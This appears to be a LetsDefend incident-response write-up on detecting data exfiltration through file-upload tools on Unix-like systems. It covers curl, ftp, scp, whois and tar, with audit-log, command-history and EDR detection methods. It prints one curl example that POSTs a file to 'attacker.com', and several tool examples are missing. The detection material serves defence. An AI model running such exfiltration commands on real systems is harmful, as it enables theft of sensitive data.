block-quote On this pagechevron-down
copy Copy chevron-down
WRITEUPS chevron-right Lets Defend chevron-right Incident Responder Path chevron-right GTFOBins File Upload File Upload Detection and Monitoring on nix Systems
Attackers often leverage file upload tools to exfiltrate sensitive data or transfer malicious files to external command centers. Below are common tools and methods for file uploads on Unix-like systems, along with strategies for detection and monitoring.
Key Commands for File Upload
1. curl Command
Purpose : Transfers data over various protocols (HTTP, HTTPS, FTP).
Example :
Copy URL = http://attacker.com/
LFILE = file_to_send
curl -X POST -d @ $LFILE $URL Detection :
Focus on -X POST or -d parameters.
Verify destination IP/domain.
Detection Methods :
Audit Logs :
Copy cat /var/log/audit/audit.log | grep " curl " | grep " X " Command History :
Copy history | grep " curl " | grep " X "
cat ~/.bash_history | grep " curl " | grep " X " EDR/XDR Logs : Inspect curl processes for POST or -X usage.
Purpose : Transfers files using the FTP protocol.
Example :
Detection :
Monitor direct ftp usage, especially targeting external hosts.
Detection Methods :
EDR/XDR Logs : Investigate ftp connections and transfers.
Purpose : Secure file transfer over SSH.
Example :
Detection :
Identify anomalous scp usage, especially targeting unfamiliar destinations.
Detection Methods :
EDR/XDR Logs : Analyze scp processes and associated network events.
4. whois Command
Purpose : Originally used for domain information lookup, it can be abused for data exfiltration.
Example :
Detection :
Monitor -h or -host parameter usage for anomalies.
Detection Methods :
EDR/XDR Logs : Track whois processes for unusual host connections.
Purpose : Archives and transfers files, can be used with SSH for remote uploads.
Example :
Detection :
Monitor --rsh-command usage and associated remote connections.
Detection Methods :
EDR/XDR Logs : Analyze tar processes for unusual parameters.
General Detection Strategies
1. Monitor Network Activity
Track outgoing connections , especially to unknown or untrusted IPs/domains.
Regularly review /var/log/audit/audit.log for suspicious file transfer commands.
3. Command History
Inspect user command history for potential misuse:
4. EDR/XDR Solutions
Use telemetry to:
Correlate process creation events with network activity .
Identify anomalous file transfer patterns.
Tools like curl , ftp , scp , whois , and tar are legitimate but can be misused for data exfiltration.
Detection involves monitoring specific parameters, verifying destination endpoints, and correlating logs from various sources.
A combination of audit logs , command history , and EDR/XDR telemetry provides a robust framework for detecting unauthorized file uploads.